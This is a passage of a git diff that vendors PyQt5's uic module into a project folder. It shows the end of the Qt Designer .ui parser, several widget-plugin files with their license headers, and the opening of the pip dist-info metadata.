lay.addWidget(widget, *lp) + + topwidget = self.stack.topwidget + + if isinstance(topwidget, QtWidgets.QToolBox): + icon = self.wprops.getAttribute(elem, "icon") + if icon is not None: + topwidget.addItem(widget, icon, self.wprops.getAttribute(elem, "label")) + else: + topwidget.addItem(widget, self.wprops.getAttribute(elem, "label")) + + tooltip = self.wprops.getAttribute(elem, "toolTip") + if tooltip is not None: + topwidget.setItemToolTip(topwidget.indexOf(widget), tooltip) + + elif isinstance(topwidget, QtWidgets.QTabWidget): + icon = self.wprops.getAttribute(elem, "icon") + if icon is not None: + topwidget.addTab(widget, icon, self.wprops.getAttribute(elem, "title")) + else: + topwidget.addTab(widget, self.wprops.getAttribute(elem, "title")) + + tooltip = self.wprops.getAttribute(elem, "toolTip") + if tooltip is not None: + topwidget.setTabToolTip(topwidget.indexOf(widget), tooltip) + + elif isinstance(topwidget, QtWidgets.QWizard): + topwidget.addPage(widget) + + elif isinstance(topwidget, QtWidgets.QStackedWidget): + topwidget.addWidget(widget) + + elif isinstance(topwidget, (QtWidgets.QDockWidget, QtWidgets.QScrollArea)): + topwidget.setWidget(widget) + + elif isinstance(topwidget, QtWidgets.QMainWindow): + if type(widget) == QtWidgets.QWidget: + topwidget.setCentralWidget(widget) + elif isinstance(widget, QtWidgets.QToolBar): + tbArea = self.wprops.getAttribute(elem, "toolBarArea") + + if tbArea is None: + topwidget.addToolBar(widget) + else: + topwidget.addToolBar(tbArea, widget) + + tbBreak = self.wprops.getAttribute(elem, "toolBarBreak") + + if tbBreak: + topwidget.insertToolBarBreak(widget) + + elif isinstance(widget, QtWidgets.QMenuBar): + topwidget.setMenuBar(widget) + elif isinstance(widget, QtWidgets.QStatusBar): + topwidget.setStatusBar(widget) + elif isinstance(widget, QtWidgets.QDockWidget): + dwArea = self.wprops.getAttribute(elem, "dockWidgetArea") + topwidget.addDockWidget(QtCore.Qt.DockWidgetArea(dwArea), + widget) + + def handleHeaderView(self, elem, name, header): + value = self.wprops.getAttribute(elem, name + "Visible") + if value is not None: + header.setVisible(value) + + value = self.wprops.getAttribute(elem, name + "CascadingSectionResizes") + if value is not None: + header.setCascadingSectionResizes(value) + + value = self.wprops.getAttribute(elem, name + "DefaultSectionSize") + if value is not None: + header.setDefaultSectionSize(value) + + value = self.wprops.getAttribute(elem, name + "HighlightSections") + if value is not None: + header.setHighlightSections(value) + + value = self.wprops.getAttribute(elem, name + "MinimumSectionSize") + if value is not None: + header.setMinimumSectionSize(value) + + value = self.wprops.getAttribute(elem, name + "ShowSortIndicator") + if value is not None: + header.setSortIndicatorShown(value) + + value = self.wprops.getAttribute(elem, name + "StretchLastSection") + if value is not None: + header.setStretchLastSection(value) + + def createSpacer(self, elem): + width = elem.findtext("property/size/width") + height = elem.findtext("property/size/height") + + if width is None or height is None: + size_args = () + else: + size_args = (int(width), int(height)) + + sizeType = self.wprops.getProperty(elem, "sizeType", + QtWidgets.QSizePolicy.Expanding) + + policy = (QtWidgets.QSizePolicy.Minimum, sizeType) + + if self.wprops.getProperty(elem, "orientation") == QtCore.Qt.Horizontal: + policy = policy[1], policy[0] + + spacer = self.factory.createQObject("QSpacerItem", + self.uniqueName("spacerItem"), size_args + policy, + is_attribute=False) + + if self.stack.topIsLayout(): + lay = self.stack.peek() + lp = elem.attrib['layout-position'] + + if isinstance(lay, QtWidgets.QFormLayout): + lay.setItem(lp[0], self._form_layout_role(lp), spacer) + else: + lay.addItem(spacer, *lp) + + def createLayout(self, elem): + # We use an internal property to handle margins which will use separate + # left, top, right and bottom margins if they are found to be + # different. The following will select, in order of preference, + # separate margins, the same margin in all directions, and the default + # margin. + margin = -1 if self.stack.topIsLayout() else self.defaults['margin'] + margin = self.wprops.getProperty(elem, 'margin', margin) + left = self.wprops.getProperty(elem, 'leftMargin', margin) + top = self.wprops.getProperty(elem, 'topMargin', margin) + right = self.wprops.getProperty(elem, 'rightMargin', margin) + bottom = self.wprops.getProperty(elem, 'bottomMargin', margin) + + # A layout widget should, by default, have no margins. + if self.stack.topIsLayoutWidget(): + if left < 0: left = 0 + if top < 0: top = 0 + if right < 0: right = 0 + if bottom < 0: bottom = 0 + + if left >= 0 or top >= 0 or right >= 0 or bottom >= 0: + # We inject the new internal property. + cme = SubElement(elem, 'property', name='pyuicMargins') + SubElement(cme, 'number').text = str(left) + SubElement(cme, 'number').text = str(top) + SubElement(cme, 'number').text = str(right) + SubElement(cme, 'number').text = str(bottom) + + # We use an internal property to handle spacing which will use separate + # horizontal and vertical spacing if they are found to be different. + # The following will select, in order of preference, separate + # horizontal and vertical spacing, the same spacing in both directions, + # and the default spacing. + spacing = self.wprops.getProperty(elem, 'spacing', + self.defaults['spacing']) + horiz = self.wprops.getProperty(elem, 'horizontalSpacing', spacing) + vert = self.wprops.getProperty(elem, 'verticalSpacing', spacing) + + if horiz >= 0 or vert >= 0: + # We inject the new internal property. + cme = SubElement(elem, 'property', name='pyuicSpacing') + SubElement(cme, 'number').text = str(horiz) + SubElement(cme, 'number').text = str(vert) + + classname = elem.attrib["class"] + if self.stack.topIsLayout(): + parent = None + else: + parent = self.stack.topwidget + if "name" not in elem.attrib: + elem.attrib["name"] = classname[1:].lower() + self.stack.push(self.setupObject(classname, parent, elem)) + self.traverseWidgetTree(elem) + + layout = self.stack.popLayout() + self.configureLayout(elem, layout) + + if self.stack.topIsLayout(): + top_layout = self.stack.peek() + lp = elem.attrib['layout-position'] + + if isinstance(top_layout, QtWidgets.QFormLayout): + top_layout.setLayout(lp[0], self._form_layout_role(lp), layout) + else: + top_layout.addLayout(layout, *lp) + + def configureLayout(self, elem, layout): + if isinstance(layout, QtWidgets.QGridLayout): + self.setArray(elem, 'columnminimumwidth', + layout.setColumnMinimumWidth) + self.setArray(elem, 'rowminimumheight', + layout.setRowMinimumHeight) + self.setArray(elem, 'columnstretch', layout.setColumnStretch) + self.setArray(elem, 'rowstretch', layout.setRowStretch) + + elif isinstance(layout, QtWidgets.QBoxLayout): + self.setArray(elem, 'stretch', layout.setStretch) + + def setArray(self, elem, name, setter): + array = elem.attrib.get(name) + if array: + for idx, value in enumerate(array.split(',')): + value = int(value) + if value > 0: + setter(idx, value) + + def disableSorting(self, w): + if self.item_nr == 0: + self.sorting_enabled = self.factory.invoke("__sortingEnabled", + w.isSortingEnabled) + w.setSortingEnabled(False) + + def handleItem(self, elem): + if self.stack.topIsLayout(): + elem[0].attrib['layout-position'] = _layout_position(elem) + self.traverseWidgetTree(elem) + else: + w = self.stack.topwidget + + if isinstance(w, QtWidgets.QComboBox): + text = self.wprops.getProperty(elem, "text") + icon = self.wprops.getProperty(elem, "icon") + + if icon: + w.addItem(icon, '') + else: + w.addItem('') + + w.setItemText(self.item_nr, text) + + elif isinstance(w, QtWidgets.QListWidget): + self.disableSorting(w) + item = self.createWidgetItem('QListWidgetItem', elem, w.item, + self.item_nr) + w.addItem(item) + + elif isinstance(w, QtWidgets.QTreeWidget): + if self.itemstack: + parent, _ = self.itemstack[-1] + _, nr_in_root = self.itemstack[0] + else: + parent = w + nr_in_root = self.item_nr + + item = self.factory.createQObject("QTreeWidgetItem", + "item_%d" % len(self.itemstack), (parent, ), False) + + if self.item_nr == 0 and not self.itemstack: + self.sorting_enabled = self.factory.invoke("__sortingEnabled", w.isSortingEnabled) + w.setSortingEnabled(False) + + self.itemstack.append((item, self.item_nr)) + self.item_nr = 0 + + # We have to access the item via the tree when setting the + # text. + titm = w.topLevelItem(nr_in_root) + for child, nr_in_parent in self.itemstack[1:]: + titm = titm.child(nr_in_parent) + + column = -1 + for prop in elem.findall('property'): + c_prop = self.wprops.convert(prop) + c_prop_name = prop.attrib['name'] + + if c_prop_name == 'text': + column += 1 + if c_prop: + titm.setText(column, c_prop) + elif c_prop_name == 'statusTip': + item.setStatusTip(column, c_prop) + elif c_prop_name == 'toolTip': + item.setToolTip(column, c_prop) + elif c_prop_name == 'whatsThis': + item.setWhatsThis(column, c_prop) + elif c_prop_name == 'font': + item.setFont(column, c_prop) + elif c_prop_name == 'icon': + item.setIcon(column, c_prop) + elif c_prop_name == 'background': + item.setBackground(column, c_prop) + elif c_prop_name == 'foreground': + item.setForeground(column, c_prop) + elif c_prop_name == 'flags': + item.setFlags(c_prop) + elif c_prop_name == 'checkState': + item.setCheckState(column, c_prop) + + self.traverseWidgetTree(elem) + _, self.item_nr = self.itemstack.pop() + + elif isinstance(w, QtWidgets.QTableWidget): + row = int(elem.attrib['row']) + col = int(elem.attrib['column']) + + self.disableSorting(w) + item = self.createWidgetItem('QTableWidgetItem', elem, w.item, + row, col) + w.setItem(row, col, item) + + self.item_nr += 1 + + def addAction(self, elem): + self.actions.append((self.stack.topwidget, elem.attrib["name"])) + + @staticmethod + def any_i18n(*args): + """ Return True if any argument appears to be an i18n string. """ + + for a in args: + if a is not None and not isinstance(a, str): + return True + + return False + + def createWidgetItem(self, item_type, elem, getter, *getter_args): + """ Create a specific type of widget item. """ + + item = self.factory.createQObject(item_type, "item", (), False) + props = self.wprops + + # Note that not all types of widget items support the full set of + # properties. + + text = props.getProperty(elem, 'text') + status_tip = props.getProperty(elem, 'statusTip') + tool_tip = props.getProperty(elem, 'toolTip') + whats_this = props.getProperty(elem, 'whatsThis') + + if self.any_i18n(text, status_tip, tool_tip, whats_this): + self.factory.invoke("item", getter, getter_args) + + if text: + item.setText(text) + + if status_tip: + item.setStatusTip(status_tip) + + if tool_tip: + item.setToolTip(tool_tip) + + if whats_this: + item.setWhatsThis(whats_this) + + text_alignment = props.getProperty(elem, 'textAlignment') + if text_alignment: + item.setTextAlignment(text_alignment) + + font = props.getProperty(elem, 'font') + if font: + item.setFont(font) + + icon = props.getProperty(elem, 'icon') + if icon: + item.setIcon(icon) + + background = props.getProperty(elem, 'background') + if background: + item.setBackground(background) + + foreground = props.getProperty(elem, 'foreground') + if foreground: + item.setForeground(foreground) + + flags = props.getProperty(elem, 'flags') + if flags: + item.setFlags(flags) + + check_state = props.getProperty(elem, 'checkState') + if check_state: + item.setCheckState(check_state) + + return item + + def addHeader(self, elem): + w = self.stack.topwidget + + if isinstance(w, QtWidgets.QTreeWidget): + props = self.wprops + col = self.column_counter + + text = props.getProperty(elem, 'text') + if text: + w.headerItem().setText(col, text) + + status_tip = props.getProperty(elem, 'statusTip') + if status_tip: + w.headerItem().setStatusTip(col, status_tip) + + tool_tip = props.getProperty(elem, 'toolTip') + if tool_tip: + w.headerItem().setToolTip(col, tool_tip) + + whats_this = props.getProperty(elem, 'whatsThis') + if whats_this: + w.headerItem().setWhatsThis(col, whats_this) + + text_alignment = props.getProperty(elem, 'textAlignment') + if text_alignment: + w.headerItem().setTextAlignment(col, text_alignment) + + font = props.getProperty(elem, 'font') + if font: + w.headerItem().setFont(col, font) + + icon = props.getProperty(elem, 'icon') + if icon: + w.headerItem().setIcon(col, icon) + + background = props.getProperty(elem, 'background') + if background: + w.headerItem().setBackground(col, background) + + foreground = props.getProperty(elem, 'foreground') + if foreground: + w.headerItem().setForeground(col, foreground) + + self.column_counter += 1 + + elif isinstance(w, QtWidgets.QTableWidget): + if len(elem) != 0: + if elem.tag == 'column': + item = self.createWidgetItem('QTableWidgetItem', elem, + w.horizontalHeaderItem, self.column_counter) + w.setHorizontalHeaderItem(self.column_counter, item) + self.column_counter += 1 + elif elem.tag == 'row': + item = self.createWidgetItem('QTableWidgetItem', elem, + w.verticalHeaderItem, self.row_counter) + w.setVerticalHeaderItem(self.row_counter, item) + self.row_counter += 1 + + def setZOrder(self, elem): + # Designer can generate empty zorder elements. + if elem.text is None: + return + + # Designer allows the z-order of spacer items to be specified even + # though they can't be raised, so ignore any missing raise_() method. + try: + getattr(self.toplevelWidget, elem.text).raise_() + except AttributeError: + # Note that uic issues a warning message. + pass + + def createAction(self, elem): + self.setupObject("QAction", self.currentActionGroup or self.toplevelWidget, + elem) + + def createActionGroup(self, elem): + action_group = self.setupObject("QActionGroup", self.toplevelWidget, elem) + self.currentActionGroup = action_group + self.traverseWidgetTree(elem) + self.currentActionGroup = None + + widgetTreeItemHandlers = { + "widget" : createWidget, + "addaction" : addAction, + "layout" : createLayout, + "spacer" : createSpacer, + "item" : handleItem, + "action" : createAction, + "actiongroup": createActionGroup, + "column" : addHeader, + "row" : addHeader, + "zorder" : setZOrder, + } + + def traverseWidgetTree(self, elem): + for child in iter(elem): + try: + handler = self.widgetTreeItemHandlers[child.tag] + except KeyError: + continue + + handler(self, child) + + def createUserInterface(self, elem): + # Get the names of the class and widget. + cname = elem.attrib["class"] + wname = elem.attrib["name"] + + # If there was no widget name then derive it from the class name. + if not wname: + wname = cname + + if wname.startswith("Q"): + wname = wname[1:] + + wname = wname[0].lower() + wname[1:] + + self.toplevelWidget = self.createToplevelWidget(cname, wname) + self.toplevelWidget.setObjectName(wname) + DEBUG("toplevel widget is %s", + self.toplevelWidget.metaObject().className()) + self.wprops.setProperties(self.toplevelWidget, elem) + self.stack.push(self.toplevelWidget) + self.traverseWidgetTree(elem) + self.stack.popWidget() + self.addActions() + self.setBuddies() + self.setDelayedProps() + + def addActions(self): + for widget, action_name in self.actions: + if action_name == "separator": + widget.addSeparator() + else: + DEBUG("add action %s to %s", action_name, widget.objectName()) + action_obj = getattr(self.toplevelWidget, action_name) + if isinstance(action_obj, QtWidgets.QMenu): + widget.addAction(action_obj.menuAction()) + elif not isinstance(action_obj, QtWidgets.QActionGroup): + widget.addAction(action_obj) + + def setDelayedProps(self): + for widget, layout, setter, args in self.wprops.delayed_props: + if layout: + widget = widget.layout() + + setter = getattr(widget, setter) + setter(args) + + def setBuddies(self): + for widget, buddy in self.wprops.buddies: + DEBUG("%s is buddy of %s", buddy, widget.objectName()) + try: + widget.setBuddy(getattr(self.toplevelWidget, buddy)) + except AttributeError: + DEBUG("ERROR in ui spec: %s (buddy of %s) does not exist", + buddy, widget.objectName()) + + def classname(self, elem): + DEBUG("uiname is %s", elem.text) + name = elem.text + + if name is None: + name = "" + + self.uiname = name + self.wprops.uiname = name + self.setContext(name) + + def setContext(self, context): + """ + Reimplemented by a sub-class if it needs to know the translation + context. + """ + pass + + def readDefaults(self, elem): + self.defaults['margin'] = int(elem.attrib['margin']) + self.defaults['spacing'] = int(elem.attrib['spacing']) + + def setTaborder(self, elem): + lastwidget = None + for widget_elem in elem: + widget = getattr(self.toplevelWidget, widget_elem.text) + + if lastwidget is not None: + self.toplevelWidget.setTabOrder(lastwidget, widget) + + lastwidget = widget + + def readResources(self, elem): + """ + Read a "resources" tag and add the module to import to the parser's + list of them. + """ + try: + iterator = getattr(elem, 'iter') + except AttributeError: + iterator = getattr(elem, 'getiterator') + + for include in iterator("include"): + loc = include.attrib.get("location") + + # Apply the convention for naming the Python files generated by + # pyrcc5. + if loc and loc.endswith('.qrc'): + mname = os.path.basename(loc[:-4] + self._resource_suffix) + if mname not in self.resources: + self.resources.append(mname) + + def createConnections(self, elem): + def name2object(obj): + if obj == self.uiname: + return self.toplevelWidget + else: + return getattr(self.toplevelWidget, obj) + + for conn in iter(elem): + signal = conn.findtext('signal') + signal_name, signal_args = signal.split('(') + signal_args = signal_args[:-1].replace(' ', '') + sender = name2object(conn.findtext('sender')) + bound_signal = getattr(sender, signal_name) + + slot = self.factory.getSlot(name2object(conn.findtext('receiver')), + conn.findtext('slot').split('(')[0]) + + if signal_args == '': + bound_signal.connect(slot) + else: + signal_args = signal_args.split(',') + + if len(signal_args) == 1: + bound_signal[signal_args[0]].connect(slot) + else: + bound_signal[tuple(signal_args)].connect(slot) + + QtCore.QMetaObject.connectSlotsByName(self.toplevelWidget) + + def customWidgets(self, elem): + def header2module(header): + """header2module(header) -> string + + Convert paths to C++ header files to according Python modules + >>> header2module("foo/bar/baz.h") + 'foo.bar.baz' + """ + if header.endswith(".h"): + header = header[:-2] + + mpath = [] + for part in header.split('/'): + # Ignore any empty parts or those that refer to the current + # directory. + if part not in ('', '.'): + if part == '..': + # We should allow this for Python3. + raise SyntaxError("custom widget header file name may not contain '..'.") + + mpath.append(part) + + return '.'.join(mpath) + + for custom_widget in iter(elem): + classname = custom_widget.findtext("class") + self.factory.addCustomWidget(classname, + custom_widget.findtext("extends") or "QWidget", + header2module(custom_widget.findtext("header"))) + + def createToplevelWidget(self, classname, widgetname): + raise NotImplementedError + + def buttonGroups(self, elem): + for button_group in iter(elem): + if button_group.tag == 'buttongroup': + bg_name = button_group.attrib['name'] + bg = ButtonGroup() + self.button_groups[bg_name] = bg + + prop = self.getProperty(button_group, 'exclusive') + if prop is not None: + if prop.findtext('bool') == 'false': + bg.exclusive = False + + # finalize will be called after the whole tree has been parsed and can be + # overridden. + def finalize(self): + pass + + def parse(self, filename, resource_suffix): + if hasattr(filename, 'read'): + base_dir = '' + else: + # Allow the filename to be a QString. + filename = str(filename) + base_dir = os.path.dirname(filename) + + self.wprops.set_base_dir(base_dir) + + self._resource_suffix = resource_suffix + + # The order in which the different branches are handled is important. + # The widget tree handler relies on all custom widgets being known, and + # in order to create the connections, all widgets have to be populated. + branchHandlers = ( + ("layoutdefault", self.readDefaults), + ("class", self.classname), + ("buttongroups", self.buttonGroups), + ("customwidgets", self.customWidgets), + ("widget", self.createUserInterface), + ("connections", self.createConnections), + ("tabstops", self.setTaborder), + ("resources", self.readResources), + ) + + document = parse(filename) + root = document.getroot() + + if root.tag != 'ui': + raise SyntaxError("not created by Qt Designer") + + version = root.attrib.get('version') + if version is None: + raise SyntaxError("missing version number") + + # Right now, only version 4.0 is supported. + if version != '4.0': + raise SyntaxError("only Qt Designer files v4.0 are supported") + + for tagname, actor in branchHandlers: + elem = document.find(tagname) + if elem is not None: + actor(elem) + self.finalize() + w = self.toplevelWidget + self.reset() + return w + + @staticmethod + def _form_layout_role(layout_position): + if layout_position[3] > 1: + role = QtWidgets.QFormLayout.SpanningRole + elif layout_position[1] == 1: + role = QtWidgets.QFormLayout.FieldRole + else: + role = QtWidgets.QFormLayout.LabelRole + + return role diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qaxcontainer.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qaxcontainer.py new file mode 100644 index 00000000..aa909f65 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qaxcontainer.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return "PyQt5.QAxContainer", ("QAxWidget", ) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qscintilla.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qscintilla.py new file mode 100644 index 00000000..777497df --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qscintilla.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return "PyQt5.Qsci", ("QsciScintilla", ) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtcharts.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtcharts.py new file mode 100644 index 00000000..187adfa1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtcharts.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return 'PyQt5.QtChart', ('QtCharts.QChartView', ) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtprintsupport.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtprintsupport.py new file mode 100644 index 00000000..168992d5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtprintsupport.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return 'PyQt5.QtPrintSupport', ('QAbstractPrintDialog', 'QPageSetupDialog') diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtquickwidgets.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtquickwidgets.py new file mode 100644 index 00000000..2da3c264 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtquickwidgets.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return "PyQt5.QtQuickWidgets", ("QQuickWidget", ) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebenginewidgets.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebenginewidgets.py new file mode 100644 index 00000000..6700666f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebenginewidgets.py @@ -0,0 +1,33 @@ +############################################################################# +## +## Copyright (c) 2021 Riverbank Computing Limited +## +## This file is part of PyQt5. +## +## This file may be used under the terms of the GNU General Public License +## version 3.0 as published by the Free Software Foundation and appearing in +## the file LICENSE included in the packaging of this file. Please review the +## following information to ensure the GNU General Public License version 3.0 +## requirements will be met: http://www.gnu.org/copyleft/gpl.html. +## +## If you do not wish to use this file under the terms of the GPL version 3.0 +## then you may purchase a commercial license. For more information contact +## info@riverbankcomputing.com. +## +## This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +## WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return "PyQt5.QtWebEngineWidgets", ("QWebEngineView", ) diff --git a/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebkit.py b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebkit.py new file mode 100644 index 00000000..087ec6ee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/uic/widget-plugins/qtwebkit.py @@ -0,0 +1,51 @@ +############################################################################# +## +## Copyright (C) 2014 Riverbank Computing Limited. +## Copyright (C) 2006 Thorsten Marek. +## All right reserved. +## +## This file is part of PyQt. +## +## You may use this file under the terms of the GPL v2 or the revised BSD +## license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of the Riverbank Computing Limited nor the names +## of its contributors may be used to endorse or promote products +## derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## +############################################################################# + + +# If pluginType is MODULE, the plugin loader will call moduleInformation. The +# variable MODULE is inserted into the local namespace by the plugin loader. +pluginType = MODULE + + +# moduleInformation() must return a tuple (module, widget_list). If "module" +# is "A" and any widget from this module is used, the code generator will write +# "import A". If "module" is "A[.B].C", the code generator will write +# "from A[.B] import C". Each entry in "widget_list" must be unique. +def moduleInformation(): + return "PyQt5.QtWebKitWidgets", ("QWebView", ) diff --git a/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/INSTALLER b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/LICENSE b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/LICENSE new file mode 100644 index 00000000..77efbac5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/LICENSE @@ -0,0 +1,866 @@ +GENERAL +------- + +Qt is available under a commercial license with various pricing models 